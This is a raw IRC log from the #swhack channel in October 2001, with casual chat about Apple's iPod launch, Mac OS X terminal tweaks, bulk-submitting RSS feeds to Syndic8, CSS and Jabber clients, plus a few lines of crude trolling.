you tell him yourself. its a transcript ;) 17:46:44 Is it Adam? 17:47:04 yeah 17:47:10 * sbp says hi to Adam 17:47:11 Hi Adam! KUTGW. :-) 17:47:32 heheh. k. 17:51:06 so has this iwalk thing been shown yet? 17:51:08 * sbp wonders if Aaron got "KUTGW" from where I think he did 17:51:20 likely so 17:51:43 iwalk thing? 17:51:58 yeah, the magical new Apple thing. 17:52:42 ah 17:54:49 aahhh. 17:54:51 [[[ 17:54:51 Apple introduces iPod, a digital audio player (MP3, MP2, more) with a 5GB hard drive (1000 songs). 20 minute skip protection. FireWire-equipped, first such music player. 10 hour battery, lithium-polymar ("most advanced battery; more advanced than laptop batteries"), takes 1 hour to charge. Size of a deck of cards: 2.4" wide, 4" tall, 3/4" thick.[13:25-13:33] 17:54:53 ]]] 17:54:58 where? 17:55:05 http://www.macminute.com/ 17:55:15 * AaronSw drools 17:55:17 5GB! 17:55:18 hehehe 17:55:22 yeah, no poo. 17:55:31 no poo? 17:55:38 ah, here it is on MacNN 17:55:40 no poo is 5 minutes drool material. 17:55:56 i can't speak in swears. you're only a bratty snot nosed kid, remember. 17:55:57 how on earth does it have all that memory? 17:56:07 size of a deck of cards too. 17:56:16 that's bloody incredible 17:56:20 u hhuh. 17:56:31 Ooh, iTunes 2 too! 17:56:35 and there's us with our foot deep tower units... 17:56:41 " Version 2 offers the ability to burn MP3 files onto CDs, adjust play/record parameters through a new equalizer, and apply cross-fades to music. The download will be freely available in November. " 17:56:42 yah. man this is cool. 17:56:43 just get three of those things! 17:56:48 whoo hoo! 17:56:50 crossfades! ;) 17:57:53 sbp has quit 17:59:17 Reader comments: """So what the hell is the breakthrough? Having a FW port?? Jeez. I was hoping for Airport at least.""" 17:59:23 AirPort would be awesome. 17:59:40 uh. it's the size of a pack of cards. that seems pretty neato to me. 17:59:48 $399?! 18:00:03 welp, it can be all neat on the shelf. 18:00:10 Heheh. 18:00:18 399 is a lot of money... 18:00:26 yeah. to play music. 18:00:34 i mean, ok. let's wax poetic here for a second. 18:00:36 i'm a geek. 18:00:43 i like being in front of a computer all day. 18:00:57 half of these people in this room are here all the time. and aaron and i always respond a lot. 18:01:07 so i can make a bit of an assumption that aaron is in front of the computer all day too. 18:01:17 Aha! that's where you're wrong. 18:01:25 I bought the apple iRC brain interface 18:01:29 :-) 18:01:31 now, this pack of card size thing is only convenient for people to walk around with. 18:01:40 but it's capabilities only wow the geek people. 18:01:54 yeah, you're right it is a lot of money [sound of Aaron entering credit card into store.apple.com] 18:01:59 heheheh.e 18:02:07 is that MY credit card, boyyy? 18:02:15 Pretty: http://home.earthlink.net/~mishas/ipod.jpg 18:02:28 OoOh. it's the interface to idv. 18:02:34 the dvd player, rather. 18:02:36 ;) 18:02:49 good sized screen at least. 18:03:17 "Revolutionary features." 18:03:25 That's an abuse of the word revolutionary if I ever saw one. 18:03:30 hehehe. 18:03:48 the only time that word is welcome is when paul revere *isn't* riding a horse. 18:04:16 Cool, it can charge over firewire 18:04:38 Ooh, apple.com has cool photo 18:04:47 annimation, really 18:04:53 it's got a hard disk - that's a revolutionary feature 18:05:04 nah, merely evolutionary 18:05:10 It's basically iTunes in your pocket 18:05:11 it spins :-) 18:05:15 Whee! 18:05:16 :-) 18:05:18 hehehe. 18:05:24 i got broken links on apple 18:05:28 pictures, rather 18:06:00 iTunes 2 doesn't look much different 18:07:29 Ooh, tv comercial! 18:07:50 It comes with Neodymium transducer magnets! 18:08:03 I have no idea what those are but they must be good! 18:08:07 yeah! 18:08:10 magnets are good! 18:08:26 i shall run magnets over my computer! whilst i make happy noises of dotmatrix joy! 18:08:32 cool, so you can stick it to the fridge! 18:08:42 and cook to opera! 18:08:51 Oh, and it has the cool new AC adapter. 18:09:44 the commercial is funny 18:10:35 Not bad. 18:15:11 Ooh, it's a FireWire HD too! 18:15:22 The stuff that isn't taken up my music gets mounted on the desktop 18:17:26 Neodymium transducer magnets make it sound good, stupids! 18:20:06 Morbus, what was the article Adam pointed you to? 18:21:00 hold on. phone. 18:23:19 http://db.tidbits.com/getbits.acgi?tbart=06564 18:28:39 Disconnected from irc.openprojects.net (Connection reset by peer) 18:29:11 logster has joined #swhack 18:29:11 topic is: Perhaps Dr. Watson was off by four. 18:29:11 Users on #swhack: logster Morbus AaronSw BenSw deltab 18:30:25 tav has joined #swhack 18:47:51 Wow, the HWG merged with the IAW. 18:58:00 nice image info applescript: 18:58:11 http://www.kanzu.com/index.html 18:58:57 cool 19:00:16 my command history on my terminal is broken. doesn't remember what i've typed. 19:01:22 you have to hit Ctrl-D for it to save 19:01:29 went thru this last night with atariboy 19:01:31 are you serius? 19:01:33 and you have to be in bash 19:01:36 that's fucking stupid. 19:01:51 the close button is what's stupid -- it kills the shell without letting it close 19:02:38 i apple-q. 19:02:57 probably does the same 19:03:04 fraggle. 19:03:07 sigh. 19:03:14 yeah, it sucks 19:03:17 wasn't that some way to hack the .term thingy? 19:03:30 Do you happen to know how to make it transparent? 19:03:37 like if you saved your term prefs, it'd be called <>.term and then you could plist it. 19:03:46 its in the plist somewhere. check osxhints.com 19:04:11 404 19:04:23 macosxhints.com 19:05:06 http://www.macosxhints.com/ 19:05:12 sorrt 19:07:27 http://www.resexcellence.com/hack_html_01/09-01-01.shtml 19:08:27 transperencey and that term thing i was telling ya: http://www.resexcellence.com/hack_html_01/05-07-01.shtml 19:08:36 looks like you can run a strartup string,but not a shutdown. 19:08:40 hmm 19:09:23 OoOh: http://www.resexcellence.com/hack_html_01/07-30-01.shtml 19:11:20 ooh 19:11:54 white on black with .65 transparence looks cool 19:18:28 man, there are still al ot of people who haven't upgraded ampheta :( 19:18:34 919: 0: AmphetaDesk v0.90 19:18:40 1073: 0: AmphetaDesk v0.91 (http://www.disobey.com/amphetadesk/) 19:18:40 995: 0: AmphetaDesk v0.92 (http://www.disobey.com/amphetadesk/) 19:19:06 you can't expect everyone to upgrade 19:19:15 if it ain't broke don't fix it sorta people 19:20:16 i shall kill them all. they'll see. 19:21:14 lol 19:21:36 bah. i hate when pepole rape my bandwidth. 19:21:47 what are they raping it for now? 19:21:51 that damn'd horror section leaks bandwidth like a bucket with a hole in it. 19:22:01 everyone deep linking to my photos, embedded, etc. 19:22:13 i've been meaning to turn it off to the annoying crappy people and keep it open for the people i like. 19:22:18 but that's just so much effort. sigh. 19:25:10 15:25] get one on ebay 19:25:10 [15:25] 100 bux 19:25:10 [15:25] :) 19:25:10 [15:26] or you can spend that 100 bux on a night with me.... 19:25:10 [15:26] wait. wrong room. 19:25:10 [15:26] sorry. 19:25:13 [15:26] heh.... have you seen my credit cards at the minute?.. nope, didn't think so *:) 19:25:14 [15:26] rofl! 19:25:31 what are we getting on ebay? 19:26:33 i dunno. 19:29:22 AaronSw has changed the topic to: The revolution will not be centralized. 19:29:37 don't you mean the "evolution"? 19:29:53 No, this time it will be a real revolution! :) 19:30:37 uh huh. 19:32:11 bah. i need something techie to read. 19:32:48 something technie? 19:33:27 whoa kickass. 19:33:34 sony is shipping a linuix hack for ps2. 19:33:51 cool! 19:34:06 yeah. 19:34:09 http://www.linuxworld.com/ic_717468_6995_1-3133.html 19:34:11 you have a ps2? 19:34:19 yeah 19:34:42 cool. i haven't bought a game in ahwile. if i had the time and money, i'd pick up immediately ico, silenthill2 (though i heard it was short) and okage 19:41:44 http://www.bringmenews.com/Messages/National_Security/Alerts/Alert_003.htm 19:48:36 what the . 19:48:47 why is it so hard to find out what lang ikonboard is written in 19:54:48 Morbus, Kearney cleaned out all the Syndic8 feeds so you know what that means... 19:54:55 it's time to submit the amphetadesk set! 19:55:40 yeah, yeah, i know, i know. shouldn't be that hard. remind me when i come by tonight (2 1/2 hours from now). i'll be home then. 19:55:48 course, the list is public - you could beat me to it as well ;0 19:56:07 actually, i could prolly do it here at work. 19:56:08 heh. 19:56:16 heheh, I could take all the points! 19:56:18 that'd rock 19:56:22 lemme see what i can do. 19:56:23 where's the feed? ;) 19:56:36 i have very little points. i just don't have the time to do stuff. 19:56:41 its up on disobey ;)' 19:56:56 hmm, i probably don't have the diskspace for it. 19:57:17 heh. 19:57:49 i just hope he gets new output fucntions soon. i can't use the ocs as it is now for disobey without querying for updates muself. 19:58:03 rillian has joined #swhack 19:58:17 hi rillian 19:58:35 morning! 19:58:47 where are you? 20:00:54 xena has joined #swhack 20:01:04 Vancouver :) 20:01:04 afternoon over here 20:01:07 ah 20:01:19 morning is as morning does 20:02:10 :-) 20:02:22 god, i hate ocs. 20:03:01 it's pretty bad 20:03:13 but why do you care? just write a script to HTTP POST to syndic8 20:03:37 i'll get there in time. i'm still working on parsing ;) 20:03:52 But you wrote out the data, you telling me you can't parse it? 20:04:12 huh? no, i'm talking about the ocs list. 20:04:18 ampheta's list is in a homebrew 20:04:19 of what? 20:04:24 OCS list of what? 20:04:26 of syndic8. 20:04:31 Why do you need that? 20:04:38 the POST script tells you if you have duplicates 20:04:45 oh. really? heh. 20:04:47 woo. 20:04:54 :-) 20:04:57 well, that's easier i guess :) 20:07:57 when you do the post make sure you set UserID=aaronsw 20:08:07 way ahead of ya. 20:08:10 otherwise it gives this weird error message ;) 20:08:14 hehehe. 20:08:54 Morbus has 125 points. 20:09:00 aaronsw has 124 20:09:02 yeah, i know. 20:09:03 this is not fair! 20:09:04 woOO! 20:09:07 hahahah 20:09:14 i'm like a loser too. 20:09:17 * AaronSw looks for feed to add... 20:09:21 i haven't done as much as i should. 20:10:22 what the hell? i can't view source on the suggest.php page. 20:10:30 hmm, I can 20:10:38 odd. lemme try in moz. 20:10:43 i'm using ie 6 on win98. bah 20:10:49 I'll tell you all you need to know 20:10:53 UserID=aaronsw 20:11:15 URL[0]=someurl 20:11:21 URL[1], URL[2], etc. 20:11:32 POST to suggest.php 20:12:01 mwahaha, now I have 125 points too :) 20:13:00 sigh. i've forgotten how to post in perl. man, oh man, i suckl. 20:16:39 can i throw unlimited urls in there? like url[888]? 20:17:04 I don't know -- probably 20:17:10 but I wouldn't recommend it 20:17:15 i'd stick with 10 20:17:19 groan. 20:17:20 :) 20:17:27 oh come on 20:17:33 hehehe 20:17:36 at least you won't cause his server to explode that way ;) 20:17:45 yeah, but that's admirable. 20:17:54 nothing beats infamy like "morbus crashed my motherflipping server". 20:17:58 :-) 20:22:01 What's this 'bulk submit" form send by Bill,'? 20:22:18 dunno. 20:22:39 how's your bulk submit going? 20:22:52 just finished writing the post code. testing it a bit now. 20:23:27 who's name you submitting under 20:23:33 aaronsw. 20:23:38 w00t! :) 20:23:50 what, you think i'mgonna be the one responsible for all the duplicate feeds? 20:24:35 actually, that bulk send thing. that was something in the archive i think. only to syndic8 members 20:25:07 bwahah. check out the descriptiion 20:25:07 http://groups.yahoo.com/search?query=syndic8 20:25:26 LOL! 20:25:39 what happened there? 20:25:42 i have no clue 20:25:54 For the logs: 20:25:55 1 syndic8 20:25:55 Your source for news and information about syndicated newsfeeds..sion SCCA.nity, but because a church cannot be found nearby that teaches the Truth, is either alone, or fellowshipping with others in the home. In a way, this is a place for "misfits" who don't feel like they fit anywhere, who have been disillusioned and disappointed with organized religion, but desire the simple fellowship of true believers.eantime, guns are the talk of the day. ARN ABOUT 20:25:59 http://www.syndic8.com/suggest.php?Advanced=1 20:26:12 Oh, right. 20:26:37 sbp has joined #swhack 20:26:56 'lo sbp 20:27:02 that'll be easier. 20:27:04 'i AaronSw 20:27:04 generating the list now. 20:27:16 now you'll really blow it up 20:27:40 wb sbp 20:27:50 thanks Ben 20:27:56 there are 1646 entries in my complete list. 20:28:09 maybe break it up a bit 20:28:16 like into chunks of say... 50 20:28:27 no way. mike did it in all one chunk 20:28:43 no he didn't! 20:28:56 you'll crash your computer, probably 20:29:04 11 new ones in the first 50. 20:29:36 hmmm. 20:29:41 according to this, i'm adding a lot of new ones. 20:30:13 wow 20:30:25 about 30 in the first 100. 20:30:32 pah, you didn't put my name in! 20:30:39 hehehehe. 20:30:43 cheeeter 20:30:51 SuggestDataURL 33 20:30:53 phbbbt. 20:31:02 good estimate 20:31:58 man, this next crawl is going to be a big one 20:32:04 heheh. yup. 20:32:29 182 20:32:37 thats my coutn so far? 20:32:41 yep 20:33:29 267 20:33:41 only about a 1/4 done. 20:33:50 Already I'm sure you've doubled the number of unparsable feeds. 20:33:50 i wonder if something's wrong. that seems awfully skewed. 20:34:03 heh, heh:- 20:34:04 [[[ 20:34:05 The first public release of coffee.el allows RFC2324-compliant coffee devices (Hyper Text Coffee Pot Control Protocol, or HTCPCP) to be controlled from within XEmacs. Coffee-drinking XEmacs users everywhere rejoice as their favorite beverage is unified with their favorite editor. 20:34:05 skewed in what way? 20:34:11 ]]] - http://www.xemacs.org/ 20:34:15 that just seems like an awful lot. 20:34:17 heheh 20:34:24 i mean, collectively, the ocs feed is bigger than my list already. 20:34:35 its just weird that my list has so many unknowns. 20:34:49 not really 20:34:53 Morbus, are you sure you're not using a random number generator for feed urls? 20:35:04 A lot of the feeds on syndicateYourPage aren't in the list yet 20:35:10 heh. yeah, i'm sure. 20:35:16 i only have a few from the sYP page. 20:35:29 I mean the ones where stupid people inserted their actual RSS feed into the syndicate my page box 20:35:40 and they didn't need the service 20:35:41 ah. 20:35:51 well, i never did a combine of your list into my list. 20:36:02 Did you see some guy who didn't know RSS instead added syp output to PHP-Nuke? 20:36:09 or something like that... forget which 20:36:14 323 20:36:17 ih man, that's funny. 20:36:31 I was like... can't you just add RSS support? 20:36:38 and he said something like it was easier to do this 20:36:45 heh. 20:36:52 sbp, did you see the folks who implemented the pigeon packet routing RFC? 20:37:21 nope? 20:37:21 .google rfc 1149 implementation 20:37:23 rfc 1149 implementation: http://www.blug.linux.no/rfc1149 20:37:32 it's quite funny 20:37:57 heh, great! 20:38:00 PING 10.0.3.1 (10.0.3.1): 56 data bytes 20:38:00 64 bytes from 10.0.3.1: icmp_seq=0 ttl=255 time=6165731.1 ms 20:38:01 64 bytes from 10.0.3.1: icmp_seq=4 ttl=255 time=3211900.8 ms 20:38:01 64 bytes from 10.0.3.1: icmp_seq=2 ttl=255 time=5124922.8 ms 20:38:01 64 bytes from 10.0.3.1: icmp_seq=1 ttl=255 time=6388671.9 ms 20:38:07 that site is awesome 20:38:08 9 packets transmitted, 4 packets received, 55% packet loss 20:38:28 k. just added all of mine. 20:38:41 646. 20:38:43 aw, packet loss 20:39:07 falcons? 20:39:29 That's all? I'm disappointed. 20:39:38 yeah. 20:39:39 more feeds morby! 20:39:52 heh. 20:39:59 i'm #4 on the point list. 20:40:15 what's the URL of the point list? 20:40:36 this is scary: http://www.citypaper.net/articles/101801/news.godfrey.shtml 20:40:45 http://www.syndic8.com/userlist.php?OrderBy=points&Start=150 20:41:14 you're only 4th! 20:41:27 http://snow.thaumas.net/~giles/benh-xfs-20011015.patch.bz2 20:41:31 http://www.syndic8.com/userlist.php?OrderBy=points&Start=160 20:41:36 oops 20:41:40 that's what i said! 20:41:53 oh... 20:42:03 i'll have my revenge 20:42:08 heh. sure. sure sure 20:42:20 how come i'm not an "editor". what the hell does that mean? 20:42:25 i wanna be an editor. sniff. sniff. 20:42:51 haha! 20:42:54 It means I have super power 20:43:16 sniff. sniff. 20:43:21 there's a blgodex duplicate. 20:44:06 Godfrey: bizzare! 20:46:08 Hmm... I wonder if email by pigeon is viable, then? 20:46:24 larger packets are needed 20:46:40 yeah, easy: bigger bits of paper 20:47:35 "There was only six return pigeons, thus we got four ping replys, with ping times varying from 3211 to 6389 seconds. I guess this is a new record for ping times..." 20:47:41 heh, heh 20:52:42 Gotta run 20:52:44 sbp has quit 20:52:45 sbp: there was another group talking about implementing it with electronic message carriers 20:52:55 which would increase bandwidth quite a bit 20:57:08 heheh. 20:57:10 [[[ 20:57:10 It seems that Bill Gates will be making a special appearance on the 200th episode of Frasier. He will play himself on the show which will air Tuesday, Nov. 13. In the special segment, the Microsoft chairman stops by the studio where Frasier is broadcasting the 2,000th edition of his call-in show, and the switchboard lights up when Frasier announces that Gates is visiting. Gates then offers to field some calls and ends up going on and on about Microsoft 20:57:11 ]]] 20:58:00 weird.... seems sort of unrealistic 20:58:26 URL? 20:58:55 http://www.siliconvalley.com/docs/news/svfront/038148.htm 20:59:15 Is Bill paying them for highly-valued XP advertising time? 20:59:22 prolly. 21:00:15 See, now they can have ads _during_ the show! 21:06:11 cool: http://aaronland.net/toys/weblog-updates/#sidebar 21:08:03 god help me. I'm going to have to buy bbedit 21:08:15 why's that? i've beenusing it for years. 21:10:44 http://www.advogato.org/article/357.html 21:14:04 yeah, that was on HTP the other day. 21:14:16 yeah, that's where i saw it. what are your thoughts? 21:15:22 Umm... offsite backups are always good. 21:15:39 i well, obviously. but i'm talking more about if you give this any merit. 21:16:12 well, it seems pretty obvious to me 21:16:21 I hope that someone will host SF if something happens 21:16:33 but i wouldn't bet the server on it 21:20:46 the problem is the bandwidth usage I think 21:21:00 ideally someone needs to write something that syndicates all this stuff 21:21:11 with no single-point-of-failure 21:21:18 :-) 21:22:08 CosminRay: check the list archive if you're having trouble 21:22:26 grr 21:23:27 whoo. i'm an editor. 21:23:56 well, at least the code is avail so i could run it locally if need be for my stuff ;) 21:29:27 It's pretty hard to set up, apparently 21:32:31 http://www.coudal.com/+tennis/match%20mp%20v%20dp/matchV.html is absolutely hilarious! 21:33:22 I assume the rillian on Advogato is the same one here. 21:34:02 Ouch... lilo warns not to get involved with a single service commercial or otherwise. 21:34:11 Perhaps he could be referring to a possible shutdown of OPN? 21:35:40 how's slacker coming along for you? 21:36:32 delta has joined #swhack 21:36:49 It's been OK 21:37:03 allo 21:37:11 hey there. 21:37:37 hey aaron, did you ever get my response where i said you were my son? 21:37:46 Yeah... 21:37:55 ok. huh. 21:37:57 I should probably reply, but i'm thinking of a good response 21:40:07 what is the subject plz 21:40:07 analfisting 21:40:07 loltav is destroying our channel. 21:40:11 and how it mentally degrades the ones you love. 21:40:32 i mean, have you ever been anally glassed? 21:41:03 it's not quite so pleasurable as anal rinsing, or even perhaps creaming 21:41:17 what about gerbilling? 21:41:18 but it certainly beats plain old milking 21:44:56 delta has left #swhack 21:46:57 sniff. 21:47:03 i guess he didn't like it. 21:48:08 hmmph 21:48:19 heh. download.com says the amphetadesk for win download is only 2 bytes. 21:48:47 tav has quit 21:49:05 Aaron: I'm the same rillian 21:49:30 and I can't get the tracker-exporter to work 21:49:31 I didn't know that SF had mailman archives... would be pretty cool if they still kept them running. 21:49:45 yes it would :) 21:52:58 tracker works for me: http://sourceforge.net/export/sf_tracker_export.php?group_id=29835&atid=397509 21:53:27 I think there must be politics going on with the web archives. their behavior isn't consistent there 21:53:33 s/web/list/ 21:53:37 I'm sure. 21:53:39 5%? 21:53:45 5% on peerkat activity? 21:53:47 is that right? 21:54:03 that can't be right. 21:54:15 it's because everyone goes to rael's site 21:54:27 why else would they go with something silly like geocrawler as their list archive's name? 21:54:32 well, what about development? 21:54:55 i'm heading home. be there in about 20. 21:54:58 Morbus has left #swhack 21:55:03 who's geomisk? 22:05:00 what's css for 'make td cells valign="top"' ? 22:05:15 text-align: top ? 22:06:05 tav has joined #swhack 22:06:55 rillian, td {vertical-align: top;} 22:07:24 LOL @ http://archives.hwg.org/hwg-techniques/NBBBJJHMEOLIMKIKIOMJKEDLHLAA.hblair@bigfoot.com 22:08:24 that's a good example of a test message... i'll have to use it whenever I want to send a test to a mailing list. http://archives.hwg.org/hwg-techniques/NBBBJJHMEOLIMKIKIOMJKEDLHLAA.hblair@bigfoot.com 22:09:22 Morbus has joined #swhack 22:09:27 Morbus has quit 22:11:56 Morbus has joined #swhack 22:12:29 wb morbus 22:12:31 thanks. 22:12:34 np 22:12:41 :) 22:13:01 ok.. time to reboot and install these security updates... 22:13:03 new version of athenairc out. be leaving in five minutes or so. 22:13:13 finally got some bookmark code. should have that cvs'd tonight 22:13:23 ah. yes. the security one takes like 10 minutes to optimize. 22:13:30 but besides that, i had no difficult. 22:13:37 yeah... ok bbarb 22:14:19 AaronSw: thanks. doesn't seem to work though 22:14:28 hmm, works fine for me 22:14:33 what happens when you try it? 22:14:57 things are still center-aligned 22:15:07 oh... hmm 22:15:10 gotta love ie 6. 22:15:14 have you tried "the list" ? 22:15:19 .google webtechniques css list 22:15:19 webtechniques css list: http://www.webreview.com/style/css1/charts/mastergrid.shtml 22:15:25 both omniweb and ie5.5 22:15:27 it explains what works in what browser 22:15:36 or whatever shipped with osx 22:16:10 grumble. stupid fire. 22:16:22 don't think fire is gonna be pdated anymore. and there are no decent osx jabber clients 22:16:39 hmm, just saw one today 22:16:51 jabberfox and naut suck. 22:16:52 .google jabberfox 22:16:53 jabberfox: http://sourceforge.net/projects/jabberfox 22:16:57 Oh? Heheh. 22:17:03 :) 22:17:28 well the person I was talking to was a good friend of their developer :) 22:17:47 ah. well, i tried it a little bit ago. maybe its better now 22:18:03 OK, now I'm really going... brb 22:18:07 * AaronSw disconnects 22:18:10 you don't have a pref, right/ 22:19:34 Morbus has quit 22:20:14 AaronSw: the list says it's supported. wierd 22:20:35 Morbus has joined #swhack 22:21:38 Morbus has quit 22:22:12 Morbus has joined #swhack 22:23:32 * AaronSw reconnects 22:23:47 well, jabberfox is better than i remmeber. 22:23:48 still not so good 22:24:40 Hmmm. 22:24:48 hmf. 22:24:54 seems to only support icq? 22:25:02 a pref for what, morbus? 22:25:16 huh/ 22:25:18 ? 22:25:28 What does? 22:25:43 > 22:25:44 ? 22:25:48 jabberfox. 22:26:44 anyways. back to coding. 22:27:49 Kham has joined #swhack 22:27:55 hello all 22:28:01 hello Aaron 22:28:06 Hello there. 22:28:09 Do I know you? 22:28:18 thank-you for having me here 22:28:28 i email-ed you a couple of times 22:29:17 i am grad student at UWM and i am developing web sites trying to do what you can do 22:29:26 oh. aaron is a god. 22:29:34 i've been trying to do what he does for a while. 22:29:39 Oh, yes -- hi there. 22:29:40 I remember now. 22:29:50 Sorry for not answering your emails very quickly. 22:30:01 But i've been rather busy lately... 22:30:02 that is ok. you are very busy 22:30:07 np 22:30:21 that is why i log on here to chat with you 22:30:35 say, i have a proposal for you 22:31:04 OK. 22:31:10 do you want to take me on as helper in your blogspace project? 2001-10-24.txt0100644000014300000000000011722207365652166011705 0ustar nobodyroot01:24:50 logster has joined #swhack 01:24:50 topic is: The revolution will not be centralized. 01:24:50 Users on #swhack: logster Morbus AaronSw sbp tav xena BenSw deltab 01:25:07 wb logger! we've missed you dearly! 01:25:19 I haven't 01:25:41 well, yeah, you were just lucky that the entire story you told about your upbringing wasn't logged. 01:25:46 that's just sick, you weirdo. sick. 01:26:00 alas, 'tis true 01:26:19 Good thing I will be pasting in the logs when you all leave 01:26:28 TODO: Paste in logs 01:26:46 oh, just do it now. We don't care 01:27:06 Really? OK... 01:27:09 you and your gotta log everything manifesto. sheesh. 01:27:09 we can go to a different channel in the meantime 01:27:15 and make fun of you. 01:27:19 yeah! 01:27:20 I'll just wait then 01:27:32 I'd have to start up a second logger if you did that. 01:37:29 [5:33] we can get an immediate use for it 01:37:29 [5:33] generic q for anyone: 01:37:30 [5:33] Well... I'm not doing a lot of work on Blogspace right now, but I'd be gald for anyone to help contribute. 01:37:30 [5:33] if the smae set of code can parse netscape and mozilla bookmarks, should it be called mozilla or netscape? i'm leaning toward mozilla 01:37:30 [5:33] Mozilla 01:37:32 [5:34] Since that's what it sends in the User-Agent headers. 01:37:34 [5:34] good. 01:37:36 [5:35] *** logster has quit IRC (Ping timeout for logster[xcdfddb76.ip.ggn.net]) 01:37:38 [5:35] Morbus: because bbedit-lite doesn't work on macosx? because it's expensive? because I'll miss it on linux (again)? 01:37:41 [5:36] rillian, get Pepper. 01:37:43 [5:36] Pepper is nicer than BBedit, IMO. 01:37:45 [5:36] There's also Emacs-on-Aqua, but it's really buggy. 01:37:47 [5:37] .google pepper mac os x 01:37:49 [5:37] pepper mac os x: http://www.mosxsw.com 01:37:51 [5:37] hmm 01:37:53 [5:37] .google pepper hekkelman 01:37:55 [5:37] pepper hekkelman: http://www.hekkelman.com/pepper.html 01:37:57 [5:37] there we go 01:37:59 [5:38] rillian - the new bbedit 6.5 should work on osx. just released. 01:38:01 [5:39] *** sbp (sean@pAFs13a06.client.global.net.uk) has joined the channel 01:38:03 [5:39] *** ChanServ has opped sbp 01:38:05 [5:39] *** sbp has deopped sbp 01:38:07 [5:41] Aaron: thanks, didn't know about that one 01:38:09 [5:41] it's certainly cheaper 01:38:11 [5:41] hmm. does wierd expanded thing to the text font 01:38:13 [5:42] Yeah, and I think I like it more than BBEdit. 01:38:15 [5:42] * sbp wonders what happened to the archives 01:38:17 [5:42] bah. i shall never leave bbedit :) 01:38:19 [5:42] logger died 01:38:21 [5:42] ugh 01:38:23 [5:42] and they were funny too 01:38:25 [5:42] riotous, evem 01:38:27 [5:43] I will go to see what's wrong... 01:38:29 [5:43] Hmm, even the people I would yell at are not on. 01:38:31 [5:43] Must be an outtage with the T1. 01:38:33 [5:44] heh @ yell at 01:38:35 [5:44] Hmm, I really like these transparent terminal windows. 01:38:37 [5:46] :) 01:38:39 [5:47] i'm surprised osx still doesn't allow me to run mnultiple instances of a single app 01:38:41 [5:47] you're surprised? that'd be stupid 01:38:43 [5:47] it's against Mac OS design principles 01:38:45 [5:47] and many apps would likely choke 01:38:47 [5:47] Morbus: they still use resources 01:38:49 [5:48] bah. design principles went to hell when they released the dock. 01:38:51 [5:48] no multiple instances??? 01:38:53 [5:48] heheheh 01:38:55 [5:48] take hotline for instance. it only allows one server per connection. 01:38:57 [5:48] well then the program is broken 01:38:59 [5:48] sbp, what would you use them for? 01:39:01 [5:48] well, yeah, but tis not my fault. 01:39:03 [5:48] Win kinda thrives on multiple app capabilities 01:39:05 [5:49] aaron, it's like not being able to do cat "this" | grep 'that' | grep 'that2' 01:39:07 [5:49] hmm 01:39:09 [5:49] Morbus, so make a copy of the app 01:39:11 [5:49] yeah, that's what i've been doing for aquite a long time! 01:39:13 [5:49] i'm sick of it! sick of it, i say! 01:39:15 [5:49] heheh 01:39:17 [5:51] ck! 01:39:19 [5:51] oh fuck 01:39:21 [5:51] this hurts. 01:39:23 [5:51] ow ow ow 01:39:25 [5:51] Mozilla bite you? 01:39:27 [5:52] * sbp wonders what the minimum number of packages would be required to run CYGWin effectively 01:39:29 [5:52] * sbp ignores Morby's agony :-) 01:39:31 [5:53] ok. that fucking sucked 01:39:33 [5:53] what happened? 01:39:35 [5:53] Hmm, I wonder if there's galeon for mac... 01:39:37 [5:53] you know those flipping paperclips that have the black base... like binding paperclips? 01:39:39 [5:54] you clip em, and then flip down the handles? 01:39:41 [5:54] Yep 01:39:43 [5:54] ok. welp, i was playing with it and partially clipping it to my clip - not full force. 01:39:45 [5:54] you know, just playing. 01:39:47 [5:54] well, one of the handles broke off, and the damn thing clipped down full force on my lip. 01:39:49 [5:54] and i couldn't get it off with only one handle. 01:39:51 [5:54] i had to slowly pull it off. 01:39:53 [5:54] ow ow ow. 01:39:55 [5:55] apologies, but that's pretty funny 01:39:57 [5:55] yeah, you know, if it happened to you, i'd be laughing too. 01:39:59 [5:55] but damn, my lips gonna be blue i bet 01:40:01 [5:55] lol 01:40:03 [5:55] (at the "if it happened to you..." 01:40:05 [5:55] ) 01:40:07 [5:56] If it turns blue can you turn the webcam on? 01:40:09 [5:56] why didn't you have the Webcam on whilst it happened?! 01:40:11 [5:56] welp, you know, i was almost thinking of turning it on. but the thing started to hurt too much 01:40:13 [5:57] aw... 01:40:15 [5:57] So how'd you get it off 01:40:17 [5:57] ? 01:40:19 [5:57] slowly pulling it. 01:40:21 [5:57] that wasn't fun either. 01:40:23 [6:00] Wow there's actually a browser that supports HyTime: http://www.doczilla.com/html/browser.htm 01:40:25 [6:12] links is very cool 01:40:27 [6:12] links? 01:40:29 atariboy has joined #swhack 01:40:29 [6:13] Yeah, the text-only browser deltab uses. 01:40:31 [6:14] Lynx? 01:40:33 [6:14] No, this is links -- it's cooler 01:40:35 [6:14] URI? 01:40:37 [6:14] it's especially cool with OS X transparent windows 01:40:39 [6:15] .google links browser 01:40:41 [6:15] links browser: http://artax.karlin.mff.cuni.cz/~mikulas/links 01:40:43 :) 01:40:43 [6:15] .google links.browser.org 01:40:45 [6:15] ah, xena... 01:40:47 [6:15] links.browser.org: http://artax.karlin.mff.cuni.cz/~mikulas/links 01:40:49 [6:15] heh, heh 01:40:51 [6:15] Links is text WWW browser with tables. Runs on Unix and OS/2. 01:40:53 [6:15] 01:40:55 [6:15] Current version is 0.96. Go to download directory. 01:40:57 [6:15] so, is xena going to be a fixture here now? 01:40:59 [6:15] Hasn't she been so for a while. 01:41:01 [6:16] I suppose she has; yes! 01:41:03 [6:16] One weird thing is that the transparency leaves ghosts of text behind. 01:41:05 [6:25] Hmm, June 13 was when I switched to Mail.app 01:41:07 [6:25] of 2001 of course 01:41:09 [7:40] Everyone in my family is totally transfixed by the iPod 01:41:11 [7:40] Reality Distortion Field at work, I suppose 01:41:13 [7:40] I don 01:41:15 [7:40] 't get it. 01:41:17 [7:40] iPod? The deck of cards that plays music thing? 01:41:19 [7:40] Yep 01:41:21 [7:40] .google iPod 01:41:23 [7:40] iPod: http://www.fastcompany.com/online/28/spy.html 01:41:25 [7:41] blargh 01:41:27 [7:41] heheh 01:41:28 fUD has joined #swhack 01:41:29 [7:41] apple.com/ipod/ 01:41:31 [7:41] what was the URI again? 01:41:33 [7:41] watch the movie (not the commercial) 01:41:35 [7:41] many thanks 01:41:37 [7:41] This is the video to watch: http://www.apple.com/hardware/video/ipod_intro.html 01:41:39 [7:42] ugh, I'm currently downloading a huge version of emacs 01:41:41 [7:46] so, how much is it? 01:41:43 [7:48] ipod? 399 USD 01:41:45 [7:48] change 399 usd to gbp 01:41:47 [7:48] 399.00 (United States Dollars (USD)) makes 279.700 (United Kingdom Pounds (GBP)) 01:41:48 AaronSw 01:41:49 